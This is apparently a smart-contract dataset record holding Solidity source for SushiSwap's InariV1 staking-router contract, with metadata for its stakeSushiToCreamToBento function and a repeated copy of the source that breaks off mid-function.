function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | stakeSushiToCreamToBento | function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
| /// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
21268,
21944
]
} | 11,798 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
